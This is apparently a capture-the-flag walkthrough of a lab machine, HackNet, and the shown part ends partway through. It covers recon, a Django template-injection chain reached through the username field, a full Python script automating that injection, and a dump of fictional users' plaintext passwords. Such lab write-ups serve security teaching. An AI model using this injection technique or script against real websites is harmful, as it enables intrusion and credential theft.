HackNet

HackNet hosts a social media site for hackers built with Django. I’ll find an HTML injection in the username field that, combined with how the likes page renders usernames, leads to server-side template injection. While Django templates are restrictive, I’ll use the SSTI to dump user data including plaintext passwords, finding one user whose email reveals their Linux username. After SSHing in, I’ll discover Django’s FileBasedCache uses pickle serialization with a world-writable cache directory. By replacing cache files with a malicious pickle payload, I’ll get a shell as the web user. From there, I’ll crack a GPG key password to decrypt database backups, finding a password shared in messages that works for root.

Box Info

Name HackNet HackNet
Play on HackTheBox
Release Date 13 Sep 2025
Retire Date 17 Jan 2026
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for HackNet
Radar Graph Radar chart for HackNet
First Blood User 04:30:00gumby
First Blood Root 09:26:24l1nvx
Creator m4rsh3ll

Recon

Initial Scanning

nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.85
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 01:53 UTC
...[snip]...
Nmap scan report for hacknet.htb (10.10.11.85)
Host is up, received echo-reply ttl 63 (0.024s latency).
Scanned at 2026-01-08 01:53:01 UTC for 7s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.01 seconds
           Raw packets sent: 69634 (3.064MB) | Rcvd: 66194 (2.648MB)
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.85
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 01:57 UTC
Nmap scan report for 10.10.11.85
Host is up (0.023s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 95:62:ef:97:31:82:ff:a1:c6:08:01:8c:6a:0f:dc:1c (ECDSA)
|_  256 5f:bd:93:10:20:70:e6:09:f1:ba:6a:43:58:86:42:66 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Did not follow redirect to http://hacknet.htb/
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.86 seconds

Based on the OpenSSH and nginx versions, the host is likely running Debian 12 Bookworm.

All of the ports show a TTL of 63, which matches the expected TTL for Linux one hop away.

The webserver is redirecting to hacknet.htb. I’ll run ffuf to look for any subdomains of hacknet.htb that respond differently, but not find any. I’ll add this to my hosts file:

oxdf@hacky$ head -1 /etc/hosts
10.10.11.85 hacknet.htb

I’ll rescan with nmap, but nothing different of significance.

Website - TCP 80

Site

The site is a social media site for hackers:

image-20260107210742000

I’ll click the “Sign Up” button and there’s a form to create an account. When I fill it out and submit, it shows the same form with a message, “User created”:

image-20260107210844878

If I try to create the same account again, it shows a new message:

image-20260107210912756

The message is correct that if either the email or the username is the same, it will fail with this message.

The Login page is simple enough:

image-20260107211059125

Logging in leads to /profile:

image-20260107211129036

I can make a post:

image-20260108062332218

It seems to escape HTML just fine:

image-20260108062346420

Under Contact, it doesn’t show any:

image-20260108062407107

Same with Messages:

image-20260108062422391

Search shows me the users on the forum:

image-20260108062452200 expand

There are 25 users besides me. Clicking on a user leads to a profile page (/profile/<id>):

image-20260108062539076

I can like and/or comment on posts. It shows all the users who have liked a post by avatar:

image-20260108062641192

Clicking on comments expands to show them:

image-20260108062738477

I can’t leave a comment until I add a user to my contacts:

image-20260108073518346

Explore is a feed of the posts:

image-20260108062759583

Tech Stack

The HTTP response headers don’t show anything beyond nginx:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Thu, 08 Jan 2026 02:07:20 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
X-Frame-Options: DENY
Vary: Cookie
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Content-Length: 667

After logging in, there is a sessionid cookie set:

HTTP/1.1 302 Found
Server: nginx/1.22.1
Date: Thu, 08 Jan 2026 02:11:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Location: /profile
X-Frame-Options: DENY
Vary: Cookie
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Set-Cookie: sessionid=a981m6i3vks138pa5g3jypgp73zonciu; expires=Thu, 22 Jan 2026 02:11:02 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax

The 404 page (outside of the /static directory) is the default Django 404:

image-20260108124222031

Wappalyzer agrees:

image-20260109164233344

Directory Brute Force

I’ll run feroxbuster against the site:

oxdf@hacky$ feroxbuster -u http://hacknet.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://hacknet.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       10l       21w      179c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        7l       11w      169c http://hacknet.htb/media => http://hacknet.htb/media/
302      GET        0l        0w        0c http://hacknet.htb/logout => http://hacknet.htb/
302      GET        0l        0w        0c http://hacknet.htb/search => http://hacknet.htb/
200      GET       67l      105w     7859c http://hacknet.htb/static/icon.png
200      GET       23l       56w      857c http://hacknet.htb/login
302      GET        0l        0w        0c http://hacknet.htb/comment => http://hacknet.htb/
200      GET       24l       63w      948c http://hacknet.htb/register
200      GET      928l     1570w    15786c http://hacknet.htb/static/style.css
404      GET        7l       11w      153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        2l     1262w    87533c http://hacknet.htb/static/jquery-3.7.1.min.js
200      GET       22l       56w      667c http://hacknet.htb/
302      GET        0l        0w        0c http://hacknet.htb/contacts => http://hacknet.htb/
301      GET        7l       11w      169c http://hacknet.htb/static/admin => http://hacknet.htb/static/admin/
403      GET        7l        9w      153c http://hacknet.htb/static/
302      GET        0l        0w        0c http://hacknet.htb/profile => http://hacknet.htb/
301      GET        7l       11w      169c http://hacknet.htb/static/admin/css => http://hacknet.htb/static/admin/css/
301      GET        7l       11w      169c http://hacknet.htb/static/admin/js => http://hacknet.htb/static/admin/js/
301      GET        7l       11w      169c http://hacknet.htb/static/admin/img => http://hacknet.htb/static/admin/img/
302      GET        0l        0w        0c http://hacknet.htb/post => http://hacknet.htb/
301      GET        7l       11w      169c http://hacknet.htb/static/admin/fonts => http://hacknet.htb/static/admin/fonts/
302      GET        0l        0w        0c http://hacknet.htb/messages => http://hacknet.htb/
301      GET        7l       11w      169c http://hacknet.htb/static/admin/js/admin => http://hacknet.htb/static/admin/js/admin/
301      GET        7l       11w      169c http://hacknet.htb/static/admin/css/vendor => http://hacknet.htb/static/admin/css/vendor/
301      GET        7l       11w      169c http://hacknet.htb/static/admin/js/vendor => http://hacknet.htb/static/admin/js/vendor/
302      GET        0l        0w        0c http://hacknet.htb/explore => http://hacknet.htb/
301      GET        7l       11w      169c http://hacknet.htb/static/admin/img/gis => http://hacknet.htb/static/admin/img/gis/
200      GET       20l      172w     1081c http://hacknet.htb/static/admin/img/LICENSE
[####################] - 62s   240008/240008  0s      found:26      errors:0
[####################] - 61s    30000/30000   490/s   http://hacknet.htb/
[####################] - 54s    30000/30000   555/s   http://hacknet.htb/media/
[####################] - 54s    30000/30000   556/s   http://hacknet.htb/static/
[####################] - 54s    30000/30000   554/s   http://hacknet.htb/static/admin/
[####################] - 54s    30000/30000   553/s   http://hacknet.htb/static/admin/js/
[####################] - 54s    30000/30000   551/s   http://hacknet.htb/static/admin/css/
[####################] - 54s    30000/30000   551/s   http://hacknet.htb/static/admin/img/
[####################] - 54s    30000/30000   551/s   http://hacknet.htb/static/admin/fonts/ 

In addition to stuff I’ve already interacted with, there’s clearly something at /static/admin, but I’m not able to access anything interesting under that tree (mostly 403s).

Shell as mikey

XSS Exploration

Via Messaging

I’ll “Request contact” and send messages to a bunch of users, but there’s no indication of any fake users on the site. Nothing ever comes back or is accepted. I’ll create a second account and try to interact, but something weird happens. These users don’t show up to each other.

image-20260108063414190

Sometimes 0xdf’s posts showed up for 0xdf2, but not the other way around. Something is very buggy with the site. If 0xdf2 clicks on 0xdf’s username in the post, where for most users it would lead to their profile (/profile/27 for 0xdf), it ends up with a redirect to just /profile showing 0xdf’s profile.

I’ll spend some time trying to send messages between the users, but without success. My hope was to see if there was a possibility for XSS via messaging, but that seems like a dead end.

HTML Injection

For the most part, things I post seem to be escaped properly. I’ll play with changing my username, but it seems escaped as well. On my profile:

image-20260108172219603

On my posts:

image-20260108172320968

Even when hovering over my likes:

image-20260108172355246

In all places this is properly escaped, such as my profile:

image-20260108172509924

And the like:

image-20260108172548571

Another thing to try is a bunch of special characters. The profile handles it fine:

image-20260108172715373

The like hover only shows part of the name:

image-20260108172757079

It’s cutting off everything after the ". The HTML shows why:

image-20260108172846567

It’s treating the double quote in my username as the closing quote for the title, and then using the rest as another parameter in the img tag.

SSTI

POC

I am not able to do anything super useful with the HTML injection above. I played with injecting script tags and img tags with onerror code, but I got a lot of 500 errors, and I don’t believe there’s any bot coming to look at this anyway.

But it does get me thinking about how this block of code is constructed. It’s clearly escaped when I just send HTML, but with the " it breaks and gets outside the escaping. Given that this is a Python webserver, I should check for template injection. I’ll use the SSTI polyglot from PayloadsAllTheThings, ${{<%[%'"}}%\.. Nothing exciting on profile:

image-20260108173814303

But there’s a crash trying to load the likes:

image-20260108173831778

I’ll walk the common flowchart:

SSTI cheatsheet workflow

The first doesn’t trigger anything:

image-20260108173933613

Both {{ 7 * 7 }} and {{ 7 * '7' }} crash it with “Something went wrong…”. That’s because Django templates are not Jinja2 like Flask, and are much more restrictive. They don’t allow arbitrary Python code like Jinja2, so it’s crashing. It’s interesting because it shows that it’s trying to execute within the context of the template. I’ll try to access the request object with {{ request }}. It works:

image-20260108174352736

RCE Fail

I’ll try all of the RCE payloads in the Django section of PayloadsAllTheThings, but most seem to crash the page when trying to submit the username change. It seems like something on HackNet is blocking or unescaped such that it’s causing these crashes. It’s not clear to me if that’s poor error handling on the site’s developer or intentionally blocking paths from a HTB / game point of view.

Python Script

I’ll throw together a quick Python script to automate this SSTI:

#!/usr/bin/env python3
# /// script
# requires-python = ">=3.13"
# dependencies = [
#     "requests",
# ]
# ///
"""SSTI testing script for Hacknet"""
import requests
import sys
import re
import html

BASE_URL = "http://hacknet.htb"

def login(email, password):
    """Login and return session with cookies"""
    session = requests.Session()
    resp = session.get(f"{BASE_URL}/login")
    csrf = re.search(r'csrftoken=([^;]+)', resp.headers.get('Set-Cookie', ''))
    if csrf:
        csrf_token = csrf.group(1)
    else:
        csrf_token = session.cookies.get('csrftoken')

    data = {
        'csrfmiddlewaretoken': csrf_token,
        'email': email,
        'password': password,
    }
    headers = {'Referer': f'{BASE_URL}/login'}

    resp = session.post(f"{BASE_URL}/login", data=data, headers=headers, allow_redirects=False)

    if resp.status_code != 302:
        print(f"[!] Login failed: {resp.status_code}")
        print(f"[!] Response: {resp.text[:300]}")
        sys.exit(1)

    print(f"[+] Logged in as {email}")
    return session

def get_csrf_token(session):
    """Get CSRF token from profile/edit page"""
    resp = session.get(f"{BASE_URL}/profile/edit")
    match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', resp.text)
    if match:
        return match.group(1)
    return session.cookies.get('csrftoken')

MARKER = "0xdf0xdf "

def set_username(session, payload):
    """Set username via profile edit"""
    csrf_token = get_csrf_token(session)
    username = f"{MARKER}{payload}"

    files = {
        'csrfmiddlewaretoken': (None, csrf_token),
        'picture': ('', b'', 'application/octet-stream'),
        'email': (None, ''),
        'username': (None, username),
        'password': (None, ''),
        'about': (None, ''),
        'is_public': (None, 'on'),
    }
    headers = {'Referer': f'{BASE_URL}/profile/edit'}

    resp = session.post(f"{BASE_URL}/profile/edit", files=files, headers=headers)
    return resp

def get_likes(session):
    """Get /likes/10 to see SSTI result"""
    headers = {
        'Referer': f'{BASE_URL}/explore',
        'X-Requested-With': 'XMLHttpRequest',
    }
    resp = session.get(f"{BASE_URL}/likes/10", headers=headers)
    return resp

def extract_ssti_result(html):
    """Extract the SSTI result from the title attribute"""
    matches = re.findall(r'title="([^"]*)"', html)
    return matches

def main():
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <email> <password> '<SSTI payload>'")
        print(f"Example: {sys.argv[0]} mikey@hacknet.htb 'mYd4rks1dEisH3re' '{{{{ request.META }}}}'")
        sys.exit(1)

    email = sys.argv[1]
    password = sys.argv[2]
    payload = sys.argv[3]
    
    print(f"[*] Logging in as {email}...")
    session = login(email, password)

    print(f"[*] Setting username to: {payload}")
    resp = set_username(session, payload)

    if resp.status_code == 500:
        print(f"[!] Error 500 setting username")
        print(f"[!] Response: {resp.text[:500]}")
        sys.exit(1)

    if "Profile updated" not in resp.text and "User exists" not in resp.text:
        breakpoint()
        print(f"[!] Unexpected response: {resp.text[:500]}")
        sys.exit(1)

    print(f"[+] Username updated successfully")

    print(f"[*] Fetching /likes/10...")
    resp = get_likes(session)

    if resp.status_code != 200:
        print(f"[!] Error {resp.status_code} fetching likes")
        sys.exit(1)

    titles = extract_ssti_result(resp.text)

    print(f"\n[+] SSTI Results:")
    print("-" * 60)
    for title in titles:
        if title.startswith(MARKER):
            result = title[len(MARKER):]
            print(html.unescape(result))
            break
    else:
        print("[!] No liked post found. Make sure to like the post from Glitch at Feb. 10, 2025, 8:09 p.m.")
    print("-" * 60)

if __name__ == "__main__":
    main()

There’s nothing particularly novel here. There’s a function to login with the given creds. Then it sets the username. If that response is a 500, then it prints an errors and exits. It sets the username to the given payload prefixed with a marker. Then it gets the likes for a specific post, and loops over the users until it finds one starting with the prefix, and prints the results from there.

oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ request }}'
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ request }}
[+] Username updated successfully
[*] Fetching /likes/10...

[+] SSTI Results:
------------------------------------------------------------
<WSGIRequest: GET '/likes/10'>
------------------------------------------------------------

request Data

One object typically available is request, which contains information about the current request. I’ve been using this already, but there’s more to dig into. META shows information about the request:

oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ request.META }}'
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ request.META }}
[+] Username updated successfully
[*] Fetching /likes/10...

[+] SSTI Results:
------------------------------------------------------------
{'wsgi.errors': <gunicorn.http.wsgi.WSGIErrorsWrapper object at 0x7f586fb4e350>, 'wsgi.version': (1, 0), 'wsgi.multithread': False, 'wsgi.multiprocess': True, 'wsgi.run_once': False, 'wsgi.file_wrapper': <class 'gunicorn.http.wsgi.FileWrapper'>, 'wsgi.input_terminated': True, 'SERVER_SOFTWARE': 'gunicorn/22.0.0', 'wsgi.input': <gunicorn.http.body.Body object at 0x7f586fb61ed0>, 'gunicorn.socket': <socket.socket fd=9, family=1, type=1, proto=0, laddr=/run/gunicorn.sock>, 'REQUEST_METHOD': 'GET', 'QUERY_STRING': '', 'RAW_URI': '/likes/10', 'SERVER_PROTOCOL': 'HTTP/1.0', 'HTTP_HOST': 'hacknet.htb', 'HTTP_X_REAL_IP': '10.10.14.3', 'HTTP_X_FORWARDED_FOR': '10.10.14.3', 'HTTP_X_FORWARDED_PROTO': 'http', 'HTTP_CONNECTION': 'close', 'HTTP_USER_AGENT': 'python-requests/2.32.5', 'HTTP_ACCEPT_ENCODING': 'gzip, deflate', 'HTTP_ACCEPT': '*/*', 'HTTP_REFERER': 'http://hacknet.htb/explore', 'HTTP_X_REQUESTED_WITH': 'XMLHttpRequest', 'HTTP_COOKIE': 'csrftoken=OC0ppNXvQrH8R4PXMovnpFXPeq1HUTrD; sessionid=o08p1sipmi2bj551o7xputurcxi4qrfb', 'wsgi.url_scheme': 'http', 'REMOTE_ADDR': '', 'SERVER_NAME': 'hacknet.htb', 'SERVER_PORT': '80', 'PATH_INFO': '/likes/10', 'SCRIPT_NAME': '', 'CSRF_COOKIE': 'OC0ppNXvQrH8R4PXMovnpFXPeq1HUTrD'}
------------------------------------------------------------

environ shows information about the environment:

oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ request.environ }}'
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ request.environ }}
[+] Username updated successfully
[*] Fetching /likes/10...

[+] SSTI Results:
------------------------------------------------------------
{'wsgi.errors': <gunicorn.http.wsgi.WSGIErrorsWrapper object at 0x7f586fb4e920>, 'wsgi.version': (1, 0), 'wsgi.multithread': False, 'wsgi.multiprocess': True, 'wsgi.run_once': False, 'wsgi.file_wrapper': <class 'gunicorn.http.wsgi.FileWrapper'>, 'wsgi.input_terminated': True, 'SERVER_SOFTWARE': 'gunicorn/22.0.0', 'wsgi.input': <gunicorn.http.body.Body object at 0x7f586fb78950>, 'gunicorn.socket': <socket.socket fd=9, family=1, type=1, proto=0, laddr=/run/gunicorn.sock>, 'REQUEST_METHOD': 'GET', 'QUERY_STRING': '', 'RAW_URI': '/likes/10', 'SERVER_PROTOCOL': 'HTTP/1.0', 'HTTP_HOST': 'hacknet.htb', 'HTTP_X_REAL_IP': '10.10.14.3', 'HTTP_X_FORWARDED_FOR': '10.10.14.3', 'HTTP_X_FORWARDED_PROTO': 'http', 'HTTP_CONNECTION': 'close', 'HTTP_USER_AGENT': 'python-requests/2.32.5', 'HTTP_ACCEPT_ENCODING': 'gzip, deflate', 'HTTP_ACCEPT': '*/*', 'HTTP_REFERER': 'http://hacknet.htb/explore', 'HTTP_X_REQUESTED_WITH': 'XMLHttpRequest', 'HTTP_COOKIE': 'csrftoken=idiUjzWWnjs1jl9TwQdODAjg6xJowXGq; sessionid=n5fy8v7rdlr2qqehz15cii5yta727vya', 'wsgi.url_scheme': 'http', 'REMOTE_ADDR': '', 'SERVER_NAME': 'hacknet.htb', 'SERVER_PORT': '80', 'PATH_INFO': '/likes/10', 'SCRIPT_NAME': '', 'CSRF_COOKIE': 'idiUjzWWnjs1jl9TwQdODAjg6xJowXGq'}
------------------------------------------------------------

Site Variables Enumeration

When a site loads a page using one of these templating engines, it passes variables along with the template to the renderer, which uses the objects to create the HTML. Where my injection is running, it would have access to all the variables in the scope of that rendering function.

Thinking about what might be needed to build the page with the posts and likes, I can guess variables like posts (or maybe post) and users (or maybe user). Of those four, only users returns something:

oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users }}'
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ users }}
[+] Username updated successfully
[*] Fetching /likes/10...

[+] SSTI Results:
------------------------------------------------------------
<QuerySet [<SocialUser: hexhunter>, <SocialUser: shadowcaster>, <SocialUser: blackhat_wolf>, <SocialUser: glitch>, <SocialUser: codebreaker>, <SocialUser: shadowmancer>, <SocialUser: whitehat>, <SocialUser: brute_force>, <SocialUser: shadowwalker>, <SocialUser: 0xdf {{ users }}>]>
------------------------------------------------------------

I have access to a Django QuerySet of SocialUser objects. I can access a specific one by index:

oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.0 }}'
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ users.0 }}
[+] Username updated successfully
[*] Fetching /likes/10...

[+] SSTI Results:
------------------------------------------------------------
hexhunter
------------------------------------------------------------

The QuerySet documentation shows a values function, that:

Returns a QuerySet that returns dictionaries, rather than model instances, when used as an iterable.

It’ll dump the user objects:

oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.values }}'
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ users.values }}
[+] Username updated successfully
[*] Fetching /likes/10...

[+] SSTI Results:
------------------------------------------------------------
<QuerySet [{'id': 2, 'email': 'hexhunter@ciphermail.com', 'username': 'hexhunter', 'password': 'H3xHunt3r!', 'picture': '2.jpg', 'about': 'A seasoned reverse engineer specializing in binary exploitation. Loves diving into hex editors and uncovering hidden data.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 6, 'email': 'shadowcaster@darkmail.net', 'username': 'shadowcaster', 'password': 'Sh@d0wC@st!', 'picture': '6.jpg', 'about': 'Specializes in social engineering and OSINT techniques. A master of blending into the digital shadows.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 7, 'email': 'blackhat_wolf@cypherx.com', 'username': 'blackhat_wolf', 'password': 'Bl@ckW0lfH@ck', 'picture': '7.png', 'about': 'A black hat hacker with a passion for ransomware development. Has a reputation for leaving no trace behind.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 9, 'email': 'glitch@cypherx.com', 'username': 'glitch', 'password': 'Gl1tchH@ckz', 'picture': '9.png', 'about': 'Specializes in glitching and fault injection attacks. Loves causing unexpected behavior in software and hardware.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 12, 'email': 'codebreaker@ciphermail.com', 'username': 'codebreaker', 'password': 'C0d3Br3@k!', 'picture': '12.png', 'about': 'A programmer with a talent for writing malicious code and cracking software protections. Loves breaking encryption algorithms.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': False, 'is_hidden': False, 'two_fa': False}, {'id': 16, 'email': 'shadowmancer@cypherx.com', 'username': 'shadowmancer', 'password': 'Sh@d0wM@ncer', 'picture': '16.png', 'about': 'A master of disguise in the digital world, using cloaking techniques and evasion tactics to remain unseen.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 21, 'email': 'whitehat@darkmail.net', 'username': 'whitehat', 'password': 'Wh!t3H@t2024', 'picture': '21.jpg', 'about': 'An ethical hacker with a mission to improve cybersecurity. Works to protect systems by exposing and patching vulnerabilities.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 24, 'email': 'brute_force@ciphermail.com', 'username': 'brute_force', 'password': 'BrUt3F0rc3#', 'picture': '24.jpg', 'about': 'Specializes in brute force attacks and password cracking. Loves the challenge of breaking into locked systems.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 25, 'email': 'shadowwalker@hushmail.com', 'username': 'shadowwalker', 'password': 'Sh@dowW@lk2024', 'picture': '25.jpg', 'about': 'A digital infiltrator who excels in covert operations. Always finds a way to walk through the shadows undetected.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': False, 'is_hidden': False, 'two_fa': False}, {'id': 27, 'email': '0xdf@hacknet.htb', 'username': '0xdf {{ users.values }}', 'password': '0xdf', 'picture': 'profile.png', 'about': '', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': True, 'two_fa': False}]>
------------------------------------------------------------

I’ll use some Bash to make a nice list from that:

oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.values }}' | grep -oP "'username': '[^']+', 'password': '[^']+" | sed "s/'username': '//;s/', 'password': '/:/g" | tee users.txt
hexhunter:H3xHunt3r!
shadowcaster:Sh@d0wC@st!
blackhat_wolf:Bl@ckW0lfH@ck
glitch:Gl1tchH@ckz
codebreaker:C0d3Br3@k!
shadowmancer:Sh@d0wM@ncer
whitehat:Wh!t3H@t2024
brute_force:BrUt3F0rc3#
shadowwalker:Sh@dowW@lk2024
0xdf {{ users.values }}:0xdf

I’ll try each of these with hydra over SSH, but no luck.

More Users

I’ll update my script to take an optional post ID, and if my user hasn’t liked the post, to like it and fetch again:

#!/usr/bin/env python3
# /// script
# requires-python = ">=3.13"
# dependencies = [
#     "requests",
# ]
# ///
"""SSTI testing script for Hacknet"""
import requests
import sys
import re
import html

BASE_URL = "http://hacknet.htb"

def login(email, password):
    """Login and return session with cookies"""
    session = requests.Session()
    resp = session.get(f"{BASE_URL}/login")
    csrf = re.search(r'csrftoken=([^;]+)', resp.headers.get('Set-Cookie', ''))
    if csrf:
        csrf_token = csrf.group(1)
    else:
        csrf_token = session.cookies.get('csrftoken')

    data = {
        'csrfmiddlewaretoken': csrf_token,
        'email': email,
        'password': password,
    }
    headers = {'Referer': f'{BASE_URL}/login'}

    resp = session.post(f"{BASE_URL}/login", data=data, headers=headers, allow_redirects=False)

    if resp.status_code != 302:
        print(f"[!] Login failed: {resp.status_code}")
        print(f"[!] Response: {resp.text[:300]}")
        return None

    print(f"[+] Logged in as {email}")
    return session

def get_csrf_token(session):
    """Get CSRF token from profile/edit page"""
    resp = session.get(f"{BASE_URL}/profile/edit")
    match = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', resp.text)
    if match:
        return match.group(1)
    return session.cookies.get('csrftoken')

MARKER = "0xdf0xdf "

def set_username(session, payload):
    """Set username via profile edit"""
    csrf_token = get_csrf_token(session)
    username = f"{MARKER}{payload}"

    files = {
        'csrfmiddlewaretoken': (None, csrf_token),
        'picture': ('', b'', 'application/octet-stream'),
        'email': (None, ''),
        'username': (None, username),
        'password': (None, ''),
        'about': (None, ''),
        'is_public': (None, 'on'),
    }
    headers = {'Referer': f'{BASE_URL}/profile/edit'}

    resp = session.post(f"{BASE_URL}/profile/edit", files=files, headers=headers)
    if resp.status_code == 500:
        print(f"[!] Error 500 setting username")
        sys.exit(1)

    if "Profile updated" not in resp.text and "User exists" not in resp.text:
        breakpoint()
        print(f"[!] Unexpected response: {resp.text[:500]}")
        sys.exit(1)

def like_post(session, post_id):
    """Like a post to make our username appear in likes"""
    csrf_token = session.cookies.get('csrftoken')
    headers = {
        'Referer': f'{BASE_URL}/explore',
        'X-Requested-With': 'XMLHttpRequest',
    }
    data = {'csrfmiddlewaretoken': csrf_token}
    resp = session.post(f"{BASE_URL}/like/{post_id}", data=data, headers=headers)
    return resp.status_code == 200

def get_likes(session, post_id=10):
    """Get /likes/<post_id> to see SSTI result"""
    headers = {
        'Referer': f'{BASE_URL}/explore',
        'X-Requested-With': 'XMLHttpRequest',
    }
    resp = session.get(f"{BASE_URL}/likes/{post_id}", headers=headers)

    if resp.status_code != 200:
        print(f"[!] Error {resp.status_code} fetching likes")
        sys.exit(1)

    if 'Something went wrong...' in resp.text:
        print("[!] Payload crashed renderer")
        sys.exit(1)

    return resp

def extract_ssti_result(html):
    """Extract the SSTI result from the title attribute"""
    matches = re.findall(r'title="([^"]*)"', html)
    return matches

def main():
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <email> <password> '<SSTI payload>' [post_id]")
        print(f"Example: {sys.argv[0]} mikey@hacknet.htb 'mYd4rks1dEisH3re' '{{{{ request.META }}}}'")
        print(f"Example: {sys.argv[0]} mikey@hacknet.htb 'mYd4rks1dEisH3re' '{{{{ request.META }}}}' 15")
        sys.exit(1)

    email = sys.argv[1]
    password = sys.argv[2]
    payload = sys.argv[3]
    post_id = int(sys.argv[4]) if len(sys.argv) > 4 else 10

    print(f"[*] Logging in as {email}...")
    session = login(email, password)

    print(f"[*] Setting username to: {payload}")
    set_username(session, payload)
    print(f"[+] Username updated successfully")

    def try_extract_result():
        resp = get_likes(session, post_id)
        titles = extract_ssti_result(resp.text)
        for title in titles:
            if title.startswith(MARKER):
                return title[len(MARKER):]
        return None

    print(f"[*] Fetching /likes/{post_id}...")
    result = try_extract_result()

    if result is None:
        print(f"[*] User hasn't liked post {post_id}, liking it now...")
        if like_post(session, post_id):
            print(f"[+] Liked post {post_id}")
            print(f"[*] Retrying /likes/{post_id}...")
            result = try_extract_result()
        else:
            print(f"[!] Failed to like post {post_id}")

    print(f"\n[+] SSTI Results:")
    print("-" * 60)
    if result:
        print(html.unescape(result))
    else:
        print("[!] No result found - user may not appear in likes")
    print("-" * 60)

if __name__ == "__main__":
    main()

Now I can get users from another post:

oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.values }}' 14
[*] Logging in as 0xdf@hacknet.htb...
[+] Logged in as 0xdf@hacknet.htb
[*] Setting username to: {{ users.values }}
[+] Username updated successfully
[*] Fetching /likes/14...

[+] SSTI Results:
------------------------------------------------------------
